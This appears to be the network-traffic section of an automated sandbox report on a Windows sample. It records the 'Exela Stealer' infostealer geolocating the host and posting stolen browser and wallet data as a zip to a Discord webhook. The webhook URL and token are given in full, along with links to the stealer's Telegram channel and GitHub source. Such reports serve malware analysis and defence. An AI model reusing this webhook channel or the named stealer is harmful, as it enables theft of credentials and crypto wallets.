Apr 24, 2024 19:24:18.595778942 CEST	192.168.2.4	1.1.1.1	0x1ca6	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:23.153984070 CEST	192.168.2.4	1.1.1.1	0x6186	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:25.414225101 CEST	192.168.2.4	1.1.1.1	0x1975	Standard query (0)	store8.gofile.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 19:24:07.177551985 CEST	1.1.1.1	192.168.2.4	0x5900	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:18.749699116 CEST	1.1.1.1	192.168.2.4	0x1ca6	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:18.749699116 CEST	1.1.1.1	192.168.2.4	0x1ca6	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:18.749699116 CEST	1.1.1.1	192.168.2.4	0x1ca6	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:18.749699116 CEST	1.1.1.1	192.168.2.4	0x1ca6	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:18.749699116 CEST	1.1.1.1	192.168.2.4	0x1ca6	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:23.613862038 CEST	1.1.1.1	192.168.2.4	0x6186	No error (0)	api.gofile.io	51.38.43.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:23.613862038 CEST	1.1.1.1	192.168.2.4	0x6186	No error (0)	api.gofile.io	51.178.66.33	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:23.613862038 CEST	1.1.1.1	192.168.2.4	0x6186	No error (0)	api.gofile.io	151.80.29.83	A (IP address)	IN (0x0001)	false
Apr 24, 2024 19:24:25.725238085 CEST	1.1.1.1	192.168.2.4	0x1975	No error (0)	store8.gofile.io	206.168.191.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

api.gofile.io

store8.gofile.io

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	208.95.112.1	80	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 19:24:07.347063065 CEST	124	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3
Apr 24, 2024 19:24:07.508085012 CEST	456	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 17:24:06 GMT Content-Type: application/json; charset=utf-8 Content-Length: 279 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 56 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 76 61 64 61 22 2c 22 63 69 74 79 22 3a 22 4c 61 73 20 56 65 67 61 73 22 2c 22 7a 69 70 22 3a 22 38 39 31 30 31 22 2c 22 6c 61 74 22 3a 33 36 2e 31 36 38 35 2c 22 6c 6f 6e 22 3a 2d 31 31 35 2e 31 31 36 34 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 69 73 70 22 3a 22 41 53 31 37 34 22 2c 22 6f 72 67 22 3a 22 22 2c 22 61 73 22 3a 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 22 71 75 65 72 79 22 3a 22 31 35 34 2e 31 36 2e 31 30 35 2e 33 36 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NV","regionName":"Nevada","city":"Las Vegas","zip":"89101","lat":36.1685,"lon":-115.1164,"timezone":"America/Los_Angeles","isp":"AS174","org":"","as":"AS174 Cogent Communications","query":"154.16.105.36"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	162.159.128.233	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:19 UTC	277	OUT	POST /api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0 HTTP/1.1 Host: discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3 Content-Length: 1381
2024-04-24 17:24:19 UTC	1381	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 20 46 75 6c 6c 20 49 6e 66 6f 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Exela Stealer Full Info*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0
2024-04-24 17:24:19 UTC	1367	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 17:24:19 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=7bd0627c025f11efa7d31a4199c9fe48; Expires=Mon, 23-Apr-2029 17:24:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1713979460 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fODZtPEW%2BMTNE%2BaVAjSqZSYXk1o3MBVDJIR7Nwuw2Hs3icT1kmLI%2F%2FoNzv7BLn8yylT04AkpCEqTHQhlfmk4Z8a0EUMSuZY3gnxp08DLvQHs5EAGZCb8x5Q2Gm2r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=7bd0627c025f11efa7d31a4199c9fe48c4f5e57f9711b81ede957149357073dc7775ed4571b99598883e1a480d310fd4; Expires=Mon, 23-Apr-2029 17:24:19 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=22bfe7b5e874aa62114a8089515824a77160f218-1713979459; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-04-24 17:24:19 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 69 53 53 54 72 61 36 68 33 55 35 69 77 37 57 31 67 44 46 43 2e 42 67 48 67 66 50 55 74 35 47 55 6b 53 58 79 31 63 73 33 4c 46 34 2d 31 37 31 33 39 37 39 34 35 39 34 35 36 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 37 63 39 34 33 63 64 31 37 30 39 66 64 2d 4c 41 53 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=iSSTra6h3U5iw7W1gDFC.BgHgfPUt5GUkSXy1cs3LF4-1713979459456-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8797c943cd1709fd-LAS
2024-04-24 17:24:19 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	162.159.128.233	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:19 UTC	276	OUT	POST /api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0 HTTP/1.1 Host: discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3 Content-Length: 512
2024-04-24 17:24:19 UTC	512	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 4b 65 79 77 6f 72 64 20 52 65 73 75 6c 74 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Keyword Result*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thum
2024-04-24 17:24:20 UTC	1365	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 17:24:20 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=7c49fd12025f11efbdd8ee7b659d56a8; Expires=Mon, 23-Apr-2029 17:24:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1713979461 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d13Kl274CV7G76C%2Ft8Na4Gy%2Fhu6x4Cje3c0er8fa6KYbZLuuBMjuobnDEek3ZJ4eq91RxNxYVn3xnNSMGmxve6lZQKNl%2BUFBC8jkdp4Ob4ouxwLztCV0MLHH0zER"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=7c49fd12025f11efbdd8ee7b659d56a8d44545b7b642815a6a554183e4e71fc97bf076171c2e94722355f6e2d4d6f95a; Expires=Mon, 23-Apr-2029 17:24:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=0f8d95718fc85af237794a7b11ac27ff3aa11215-1713979460; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-04-24 17:24:20 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6f 4d 67 56 50 78 59 31 5a 7a 6a 57 6d 32 35 49 37 6d 4c 41 51 68 44 79 61 6e 2e 6d 34 47 34 58 37 31 72 54 4d 69 4f 59 43 47 63 2d 31 37 31 33 39 37 39 34 36 30 32 35 32 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 37 63 39 34 39 64 62 39 66 61 39 38 32 2d 4c 41 53 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=oMgVPxY1ZzjWm25I7mLAQhDyan.m4G4X71rTMiOYCGc-1713979460252-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8797c949db9fa982-LAS
2024-04-24 17:24:20 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49755	162.159.137.232	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:20 UTC	633	OUT	POST /api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0 HTTP/1.1 Host: discord.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3 Cookie: __cfruid=22bfe7b5e874aa62114a8089515824a77160f218-1713979459; __dcfduid=7bd0627c025f11efa7d31a4199c9fe48; __sdcfduid=7bd0627c025f11efa7d31a4199c9fe48c4f5e57f9711b81ede957149357073dc7775ed4571b99598883e1a480d310fd4; _cfuvid=iSSTra6h3U5iw7W1gDFC.BgHgfPUt5GUkSXy1cs3LF4-1713979459456-0.0.1.1-604800000 Content-Length: 709290 Content-Type: multipart/form-data; boundary=514ae93ad84247f78c4fa101542c269c
2024-04-24 17:24:20 UTC	36	OUT	Data Raw: 2d 2d 35 31 34 61 65 39 33 61 64 38 34 32 34 37 66 37 38 63 34 66 61 31 30 31 35 34 32 63 32 36 39 63 0d 0a Data Ascii: --514ae93ad84247f78c4fa101542c269c
2024-04-24 17:24:20 UTC	164	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 30 39 30 35 30 0d 0a 0d 0a Data Ascii: Content-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip"Content-Length: 709050
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 08 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 42 72 6f 77 73 65 72 73 2f 50 4b 03 04 14 00 00 00 00 00 07 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 57 61 6c 6c 65 74 73 2f 50 4b 03 04 14 00 00 00 08 00 08 9b 98 58 6f 82 ea 5f 28 85 0a 00 47 ca 0a 00 0f 00 00 00 44 69 73 70 6c 61 79 20 28 31 29 2e 70 6e 67 6c bb 79 3c 94 fd 1f ff 7b cd 34 62 a8 30 12 b2 67 24 4b 26 95 7d 99 11 c5 d0 6d 44 96 10 85 92 54 b6 c8 60 98 64 27 6b 22 db 28 ba ed 5b 96 b8 ed fb 9e 25 bb 6c 63 df b7 31 18 8c 33 ee ef fd 3b e7 3c 1e e7 fc e1 71 19 33 d7 70 b9 5e ef d7 fb f9 fa 7c de 13 a4 ab a3 71 9e f1 32 23 00 00 e7 d1 9a ea 7a 00 40 47 fb 16 02 30 9c a5 1d aa a3 49 6a b4 03 c8 59 4f e3 0e 90 f7 8b 67 e9 f4 29 1b d5 bf 54 Data Ascii: PKXBrowsers/PKXWallets/PKXo_(GDisplay (1).pngly<{4b0g$K&}mDT`d'k"([%lc13;<q3p^\|q2#z@G0IjYOg)T
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: e1 35 97 9e d7 ec bb bb 11 63 86 1a 12 0f 42 46 0d 29 d2 42 e3 b1 a7 62 3c 38 08 f0 41 00 f4 59 27 f5 51 4c f1 0c b5 ef 7e df 02 8c 6a c8 f7 0b 2c 31 9a 40 3d b7 c7 1b fe 37 65 9b b2 e7 77 b8 83 81 55 7f 26 c9 32 81 ca 93 3a fa 33 84 bb cd 46 f9 8f fe 08 98 52 9f 37 3b 4f d3 cb 4a 9c 97 a5 be 31 88 f2 cc fc 78 34 45 11 b6 d5 c1 12 e4 57 e8 84 4e 93 a3 56 bc 56 7f e2 db 28 f1 4d ff 0e 7f 38 a0 8a d8 04 c2 b6 dd e5 93 52 94 ff 85 9e c7 88 2d 5f 8b b0 bd 2a a2 87 d4 0d 72 38 d5 d5 f4 b8 25 79 62 8f 31 52 f6 e1 e9 d3 a7 49 03 6e 21 fe ef e8 24 a9 e8 ff 7c f8 f3 d0 64 ba ad 4a c7 d8 02 ac 7b fa 11 4f a5 03 7a ef 6b 60 dd 99 07 a0 c5 1d 5a b6 ae b2 aa fb ac a0 97 4f 17 e5 7d 85 03 4f 3b 29 d4 d1 9a d0 c4 e6 7d c9 00 2c 23 c4 81 fb f6 c8 cc d9 f5 8f 0e e0 4e c2 Data Ascii: 5cBF)Bb<8AY'QL~j,1@=7ewU&2:3FR7;OJ1x4EWNVV(M8R-_*r8%yb1RIn!$\|dJ{Ozk`ZO}O;)},#N
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 25 a5 2e 67 87 ab 2d 1e b4 5e fb 22 71 5e 37 5e 07 aa 8d dc 2d 1a f5 38 4c f5 56 88 44 bc 99 2d e3 b2 03 8f 6a ff 7c bd f0 ec a6 8e 93 36 97 c0 8f c2 5a b6 f3 c0 f4 93 f8 72 79 31 70 af e1 be fe de 48 e9 b6 4d 52 55 32 c4 9c 4f 66 0b be 30 f7 c0 50 9c 96 5c 65 28 a5 61 a2 89 04 e4 7e 97 b6 a5 17 a4 37 78 58 fc 94 58 77 43 ee 7b 0b 73 95 ad 43 72 67 84 b9 a0 ba c8 79 05 db 5d ab 37 5c 74 1c 53 b2 be 65 b8 47 07 0d f0 6c 7e bb f4 f5 bb 71 97 e9 a2 34 15 62 8d 2e 93 32 f6 4f ed 95 7d ad ed 9d 86 af e9 1d d1 62 b4 d9 81 b2 06 ef 68 4a cd c0 7f 97 46 57 e3 1f 09 fa 11 1f 26 8c 54 7d cd 5f 59 3a 7b cb e5 1c 6c 51 ed f8 c2 b3 a0 ab 3d ff bc b4 fa 26 3d 0d 9f 03 ce 18 bb 68 24 20 d1 0b 72 07 35 29 46 bb 03 e4 ad aa 50 9f 5b eb 45 b4 fc 79 fe 39 0e 0a da c3 50 42 Data Ascii: %.g-^"q^7^-8LVD-j\|6Zry1pHMRU2Of0P\e(a~7xXXwC{sCrgy]7\tSeGl~q4b.2O}bhJFW&T}_Y:{lQ=&=h$ r5)FP[Ey9PB
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 04 8c 0c 27 70 20 b4 57 90 83 04 9d 43 a4 13 4f d1 7e da fe cc a2 67 e0 3a 36 80 97 6d 90 10 4e d5 9b ba b9 63 90 3e 59 d0 28 6e 7a be 50 98 fc 49 d3 cc b9 cc 42 46 c2 19 94 33 b1 15 b7 99 cf c1 f3 1a 6f 7d 0b 19 8e 3c b6 8f 4e 04 b9 4f f0 85 82 03 c0 be a9 c1 96 14 20 53 92 25 38 e9 15 84 5d 4b 6c 45 86 bb f3 66 ce b5 91 21 35 01 c2 1c 36 3d 28 56 7a f7 4c 07 e1 c4 1b 0b ea 4d 99 4e 08 8f 5e b7 d1 b8 e4 f6 6a 0a aa 97 bd 4b 9b d8 6d 30 ef b5 3d 32 3f 38 02 39 3f df 2e c1 06 8f d1 73 d2 52 30 53 65 7c d5 d3 67 96 3a 78 ed d8 2f 2b 80 02 1e 63 d1 f5 51 0e 39 b1 3a b6 5d 88 64 80 79 4e 22 cd 0d ce 7e f5 9e c4 ca 12 df f7 bd 81 40 0a 38 34 d0 14 1a ce 25 27 db 15 95 ad b7 ae e2 f9 4e dc 2b 46 27 79 7f e8 74 af c2 19 76 d7 43 73 90 ae ed ed 6e ad 18 35 4a b8 Data Ascii: 'p WCO~g:6mNc>Y(nzPIBF3o}<NO S%8]KlEf!56=(VzLMN^jKm0=2?89?.sR0Se\|g:x/+cQ9:]dyN"~@84%'N+F'ytvCsn5J
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 36 f4 7c f4 fb 60 b8 d9 cb 5c 9e f0 4b 33 a4 51 a2 0f 60 ad ac a8 84 03 46 52 4e ec 97 9b 1c ab 23 5e f0 e5 70 87 71 f8 a7 9e 05 3d 88 c4 d6 b1 2e dd a5 85 7b 71 7f ba c3 9a fc 7c 32 09 00 d2 73 69 76 01 cc 7f d1 1a 7a f7 d5 ec 5f da bf 72 46 3a 4c 6f f0 de 0a 72 e6 10 10 f7 9d bb f2 d8 8b 92 6a 77 d8 68 06 12 1b 57 a4 9f a5 06 11 bb 1e 4b 71 75 b9 0a 9e 7b f6 48 8d d4 3a 41 97 ac f3 0b 7c 5c a2 04 94 b4 05 1c 04 ae 88 de 86 01 a1 f7 04 a3 68 e0 9a 3a 4d c0 ef bc 2d f3 e7 0b 8e 39 79 33 50 6e 52 57 84 0f 38 f0 83 4f 77 f5 7f 73 d6 57 d9 39 79 5d 84 1d 3e db 7d 22 40 77 99 35 36 31 61 a9 1c 73 fa 47 41 e3 e7 37 6e c5 14 8f bb 3b 00 d2 e1 36 fe 51 dc 77 2f 60 bf 8f f3 72 1b 4d f8 83 72 5f ee fe 21 b0 4c 36 51 0b f2 d5 8a 95 33 b3 63 7b f8 51 f8 ce 6b c0 95 Data Ascii: 6\|`\K3Q`FRN#^pq=.{q\|2sivz_rF:LorjwhWKqu{H:A\|\h:M-9y3PnRW8OwsW9y]>}"@w561asGA7n;6Qw/`rMr_!L6Q3c{Qk
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 93 d5 47 90 9e 02 a7 7c d6 10 39 3f 88 33 d9 5d 67 24 8d 11 55 97 8f 6f 73 3c 31 10 d9 4f 9f ac 73 39 6a 76 0a 5a 5d 5d 6f e6 8e 0b 5d 7d 92 2d 04 71 4e c6 27 09 d0 79 b6 fe f8 4f 44 28 8a 1c 26 0d 8f 94 d5 5d 3a cd 52 d7 39 b0 3d 76 f7 da bf 27 33 1f cf f5 f1 22 10 ba 36 56 69 44 83 74 70 77 ce eb 31 b9 ff 52 e6 90 03 f4 47 79 a0 b0 42 e4 84 6a b0 b8 0c f3 27 14 ab 74 59 5c ee 9d 7f 38 35 26 f2 a7 be 70 37 c9 4b 05 32 75 69 9e 11 a5 fa 0c ec cd 4a 3d cb a8 c0 69 76 64 8c 9d c8 8b a4 2a 09 67 3e af 85 5c e1 fc 49 41 a8 27 34 87 8d 36 87 59 09 86 1f 14 02 ae b4 f1 8f f7 e0 72 75 e6 71 46 14 e9 80 39 85 50 10 ba 28 ed 36 a9 7f c2 88 9c 3c e5 2e 10 0a 14 0f 7c 06 58 82 45 97 21 61 52 31 f5 81 4c e5 9b 24 ad ad 0d 42 98 0f e1 e6 18 f5 1a 81 f3 8e 9e 73 3c 9c Data Ascii: G\|9?3]g$Uos<1Os9jvZ]]o]}-qN'yOD(&]:R9=v'3"6ViDtpw1RGyBj'tY\85&p7K2uiJ=ivd*g>\IA'46YruqF9P(6<.\|XE!aR1L$Bs<
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 62 3e 96 90 6b 33 6a 2a a7 92 11 bf 1e f8 b4 89 31 7b 2c 1a f2 cd cf a7 eb 3f cc 92 42 bb 4f 34 23 99 2e 12 cf c7 92 8b c5 6a 05 fa 50 cc 79 84 10 21 73 08 4b a2 47 31 ce 61 f8 45 2f 55 d7 a7 aa a3 fc 89 c9 c0 7d 57 33 39 fe c2 77 55 0f 2d 83 16 0c 24 17 9c df df bb c8 7f 0d fc d1 fd be 9b f6 ee b2 db db b2 a7 c9 e2 d5 32 91 a5 b6 c7 a2 46 ad e4 af 77 c2 c1 eb d8 b2 c8 7f 23 27 7b e7 76 5a 2a 6a 0f a5 dd 41 09 24 68 0b 2d 9d b8 47 7b d6 71 ba 51 73 96 57 33 d5 b5 36 9c 49 55 92 0a db fc 66 1b 2e 3b 9a 5e 3d 69 6f dc 15 b9 17 84 ec 28 0a d9 72 a6 21 3d 5c 4a e1 19 b6 bb ea 8e ac 2d bd b4 19 52 3e 30 c0 4f 31 be 6b 0d 34 7e c1 39 30 83 60 72 3f b2 f7 cd c1 7a 43 12 97 f7 82 56 94 b3 1f 2c 9f 05 19 54 ee ad 2d 05 ea 64 b2 29 ad 7e ac ef 4b e2 f8 ef ba 54 f8 Data Ascii: b>k3j1{,?BO4#.jPy!sKG1aE/U}W39wU-$2Fw#'{vZjA$h-G{qQsW36IUf.;^=io(r!=\J-R>0O1k4~90`r?zCV,T-d)~KT
2024-04-24 17:24:20 UTC	16384	OUT	Data Raw: 80 b1 a2 a1 f0 90 e4 40 78 48 39 7b f5 f7 e9 f0 0b 77 03 f7 8e ae eb 0d c7 a9 f5 63 bd fd 9d af 67 17 31 e7 fe 06 9d 82 c3 e6 1d e2 d0 4e ee b5 0f ef 35 fe fd ed 8c b7 fb 12 dd 92 6b 27 8a f4 77 15 b0 10 b9 dd b0 6c 23 3a 38 34 55 7c a5 77 7e b0 4c 91 7d df 45 fc 0a a6 35 5b 91 f5 ef ec ce d5 94 dd 18 b4 ae 51 ef d6 df 59 ee fe cb 4b f9 2c fd 9f 8f 93 f1 23 90 0b 5d 07 9b e0 11 b5 2a ee 97 fc 2e 19 5a 05 5d 6b cf 7c aa ef 64 8e 76 9a 36 be 89 75 6a cc 88 d6 2d 18 35 1a 8e 50 dc a9 fb 91 9b 2c 58 11 dd 6d f3 9e c4 a0 9e 9a f5 97 03 a7 c5 01 c6 23 e6 33 20 75 e2 da 93 fa 45 ff a5 60 23 53 f7 5e fe 26 d3 d5 b3 fd c4 b3 45 cc ef 59 44 61 0f e2 43 c4 2f e1 ef 7f 2d 8e 83 fb 2b 7a ec b2 a3 f2 7a 8f bc 1a 70 6d fc 1c 26 ae 5a c1 14 77 7d 79 03 c7 fc 59 fd 40 3c Data Ascii: @xH9{wcg1N5k'wl#:84U\|w~L}E5[QYK,#]*.Z]k\|dv6uj-5P,Xm#3 uE`#S^&EYDaC/-+zzpm&Zw}yY@<
